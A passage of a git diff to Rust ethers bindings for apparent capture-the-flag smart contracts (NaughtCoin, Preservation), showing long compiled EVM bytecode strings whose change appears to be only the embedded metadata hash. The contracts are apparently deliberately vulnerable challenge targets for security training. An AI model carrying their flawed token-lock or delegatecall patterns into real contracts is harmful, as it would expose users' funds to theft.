\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02\x1EV[`@Qa\x01\x04\x91\x90a\x07^V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\x07\xC8V[a\x02\xB0V[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\x07\xF2V[a\x02\xCAV[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\x07\xC8V[a\x02\xEEV[`\x07Ta\x01\x93\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xB96`\x04a\x08.V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x10V[a\x01 a\x01\xEA6`\x04a\x07\xC8V[a\x03\x1FV[a\x01 a\x01\xFD6`\x04a\x07\xC8V[a\x03\x9FV[a\x014`\x05T\x81V[a\x014a\x02\x196`\x04a\x08PV[a\x03\xE3V[```\x03\x80Ta\x02-\x90a\x08\x83V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02Y\x90a\x08\x83V[\x80\x15a\x02\xA6W\x80`\x1F\x10a\x02{Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\xA6V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\x89W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xBE\x81\x85\x85a\x04\x0EV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xD8\x85\x82\x85a\x052V[a\x02\xE3\x85\x85\x85a\x05\xACV[P`\x01\x94\x93PPPPV[`\x003a\x02\xBE\x81\x85\x85a\x03\x01\x83\x83a\x03\xE3V[a\x03\x0B\x91\x90a\x08\xBDV[a\x04\x0EV[```\x04\x80Ta\x02-\x90a\x08\x83V[`\x003\x81a\x03-\x82\x86a\x03\xE3V[\x90P\x83\x81\x10\x15a\x03\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xE3\x82\x86\x86\x84\x03a\x04\x0EV[`\x07T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x03a\x03\xD2W`\x05TB\x11a\x03\xC2W`\0\x80\xFD[a\x03\xCC\x83\x83a\x07PV[Pa\x02\xC4V[a\x03\xDC\x83\x83a\x07PV[P\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04pW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x04\xD1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x05>\x84\x84a\x03\xE3V[\x90P`\0\x19\x81\x14a\x05\xA6W\x81\x81\x10\x15a\x05\x99W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\x89V[a\x05\xA6\x84\x84\x84\x84\x03a\x04\x0EV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x06\x10W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x06rW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xEAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05\xA6V[`\x003a\x02\xBE\x81\x85\x85a\x05\xACV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07\x8BW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07oV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xC3W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\xDBW`\0\x80\xFD[a\x07\xE4\x83a\x07\xACV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\x07W`\0\x80\xFD[a\x08\x10\x84a\x07\xACV[\x92Pa\x08\x1E` \x85\x01a\x07\xACV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x08@W`\0\x80\xFD[a\x08I\x82a\x07\xACV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08cW`\0\x80\xFD[a\x08l\x83a\x07\xACV[\x91Pa\x08z` \x84\x01a\x07\xACV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08\x97W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08\xB7WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02\xC4WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 ^\xC5\xC2\x1F\xE5\xF3\x81\x1F|\xB5g\x95\xDAh\x86\xE3x\x92\xEF.\xB9\xDD\xD6(\x96\xCA\x1B\x9A\xDC\xBD\xF3hdsolcC\0\x08\x15\x003\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF"; /// The bytecode of the contract. pub static NAUGHTCOIN_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x01\xDCW\x80c\xA9\x05\x9C\xBB\x14a\x01\xEFW\x80c\xD0\x85\x83Z\x14a\x02\x02W\x80c\xDDb\xED>\x14a\x02\x0BW`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xABW\x80c\x95\xD8\x9BA\x14a\x01\xD4W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02\x1EV[`@Qa\x01\x04\x91\x90a\x07^V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\x07\xC8V[a\x02\xB0V[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\x07\xF2V[a\x02\xCAV[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\x07\xC8V[a\x02\xEEV[`\x07Ta\x01\x93\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xB96`\x04a\x08.V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x10V[a\x01 a\x01\xEA6`\x04a\x07\xC8V[a\x03\x1FV[a\x01 a\x01\xFD6`\x04a\x07\xC8V[a\x03\x9FV[a\x014`\x05T\x81V[a\x014a\x02\x196`\x04a\x08PV[a\x03\xE3V[```\x03\x80Ta\x02-\x90a\x08\x83V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02Y\x90a\x08\x83V[\x80\x15a\x02\xA6W\x80`\x1F\x10a\x02{Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\xA6V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\x89W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xBE\x81\x85\x85a\x04\x0EV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xD8\x85\x82\x85a\x052V[a\x02\xE3\x85\x85\x85a\x05\xACV[P`\x01\x94\x93PPPPV[`\x003a\x02\xBE\x81\x85\x85a\x03\x01\x83\x83a\x03\xE3V[a\x03\x0B\x91\x90a\x08\xBDV[a\x04\x0EV[```\x04\x80Ta\x02-\x90a\x08\x83V[`\x003\x81a\x03-\x82\x86a\x03\xE3V[\x90P\x83\x81\x10\x15a\x03\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xE3\x82\x86\x86\x84\x03a\x04\x0EV[`\x07T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x03a\x03\xD2W`\x05TB\x11a\x03\xC2W`\0\x80\xFD[a\x03\xCC\x83\x83a\x07PV[Pa\x02\xC4V[a\x03\xDC\x83\x83a\x07PV[P\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04pW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x04\xD1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x05>\x84\x84a\x03\xE3V[\x90P`\0\x19\x81\x14a\x05\xA6W\x81\x81\x10\x15a\x05\x99W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\x89V[a\x05\xA6\x84\x84\x84\x84\x03a\x04\x0EV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x06\x10W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x06rW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xEAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05\xA6V[`\x003a\x02\xBE\x81\x85\x85a\x05\xACV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07\x8BW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07oV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xC3W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\xDBW`\0\x80\xFD[a\x07\xE4\x83a\x07\xACV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\x07W`\0\x80\xFD[a\x08\x10\x84a\x07\xACV[\x92Pa\x08\x1E` \x85\x01a\x07\xACV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x08@W`\0\x80\xFD[a\x08I\x82a\x07\xACV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08cW`\0\x80\xFD[a\x08l\x83a\x07\xACV[\x91Pa\x08z` \x84\x01a\x07\xACV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08\x97W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08\xB7WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02\xC4WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \x1C\xC1\xD5LQv\xA4\x8Ag\r\x15l\xCDB\xDF\xD5\xC5\x96\xFBfT@\"\xC8c\xF3\x86f\xEC\x15l\x91dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x01\xDCW\x80c\xA9\x05\x9C\xBB\x14a\x01\xEFW\x80c\xD0\x85\x83Z\x14a\x02\x02W\x80c\xDDb\xED>\x14a\x02\x0BW`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xABW\x80c\x95\xD8\x9BA\x14a\x01\xD4W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02\x1EV[`@Qa\x01\x04\x91\x90a\x07^V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\x07\xC8V[a\x02\xB0V[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\x07\xF2V[a\x02\xCAV[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\x07\xC8V[a\x02\xEEV[`\x07Ta\x01\x93\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xB96`\x04a\x08.V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x10V[a\x01 a\x01\xEA6`\x04a\x07\xC8V[a\x03\x1FV[a\x01 a\x01\xFD6`\x04a\x07\xC8V[a\x03\x9FV[a\x014`\x05T\x81V[a\x014a\x02\x196`\x04a\x08PV[a\x03\xE3V[```\x03\x80Ta\x02-\x90a\x08\x83V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02Y\x90a\x08\x83V[\x80\x15a\x02\xA6W\x80`\x1F\x10a\x02{Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\xA6V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\x89W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xBE\x81\x85\x85a\x04\x0EV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xD8\x85\x82\x85a\x052V[a\x02\xE3\x85\x85\x85a\x05\xACV[P`\x01\x94\x93PPPPV[`\x003a\x02\xBE\x81\x85\x85a\x03\x01\x83\x83a\x03\xE3V[a\x03\x0B\x91\x90a\x08\xBDV[a\x04\x0EV[```\x04\x80Ta\x02-\x90a\x08\x83V[`\x003\x81a\x03-\x82\x86a\x03\xE3V[\x90P\x83\x81\x10\x15a\x03\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xE3\x82\x86\x86\x84\x03a\x04\x0EV[`\x07T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x03a\x03\xD2W`\x05TB\x11a\x03\xC2W`\0\x80\xFD[a\x03\xCC\x83\x83a\x07PV[Pa\x02\xC4V[a\x03\xDC\x83\x83a\x07PV[P\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04pW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x04\xD1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x05>\x84\x84a\x03\xE3V[\x90P`\0\x19\x81\x14a\x05\xA6W\x81\x81\x10\x15a\x05\x99W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\x89V[a\x05\xA6\x84\x84\x84\x84\x03a\x04\x0EV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x06\x10W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x06rW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xEAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05\xA6V[`\x003a\x02\xBE\x81\x85\x85a\x05\xACV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07\x8BW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07oV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xC3W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\xDBW`\0\x80\xFD[a\x07\xE4\x83a\x07\xACV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\x07W`\0\x80\xFD[a\x08\x10\x84a\x07\xACV[\x92Pa\x08\x1E` \x85\x01a\x07\xACV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x08@W`\0\x80\xFD[a\x08I\x82a\x07\xACV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08cW`\0\x80\xFD[a\x08l\x83a\x07\xACV[\x91Pa\x08z` \x84\x01a\x07\xACV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08\x97W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08\xB7WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02\xC4WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 ^\xC5\xC2\x1F\xE5\xF3\x81\x1F|\xB5g\x95\xDAh\x86\xE3x\x92\xEF.\xB9\xDD\xD6(\x96\xCA\x1B\x9A\xDC\xBD\xF3hdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static NAUGHTCOIN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/preservation.rs b/ctf/src/abi/preservation.rs index 08a553f..70689ef 100644 --- a/ctf/src/abi/preservation.rs +++ b/ctf/src/abi/preservation.rs @@ -152,12 +152,12 @@ pub mod preservation { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xDD8\x03\x80a\x02\xDD\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8CV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x92\x90\x93\x16\x91\x81\x16\x91\x90\x91\x17\x90\x91U`\x02\x80T\x90\x91\x163\x17\x90Ua\0\xBFV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x87W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\0\x9FW`\0\x80\xFD[a\0\xA8\x83a\0pV[\x91Pa\0\xB6` \x84\x01a\0pV[\x90P\x92P\x92\x90PV[a\x02\x0F\x80a\0\xCE`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c'\xD6\x97O\x14a\0\\W\x80c=\xC7\x94\"\x14a\0\x8BW\x80c[\xDA\x8F\xA4\x14a\0\x9EW\x80c\x8D\xA5\xCB[\x14a\0\xB3W\x80c\xF1\xE0& \x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xAC6`\x04a\x01\x91V[a\0\xD9V[\0[`\x02Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xB1a\0\xD46`\x04a\x01\x91V[a\x01cV[`\x01T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01[`@\x80Q`\x1F\x19\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\x1D\x91a\x01\xAAV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01XW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01]V[``\x91P[PPPPV[`\0T`@Qc\x0E\xFA\xC9\xB1`\xE2\x1B` \x82\x01R`$\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`D\x01a\x01\x03V[`\0` \x82\x84\x03\x12\x15a\x01\xA3W`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x01\xCBW` 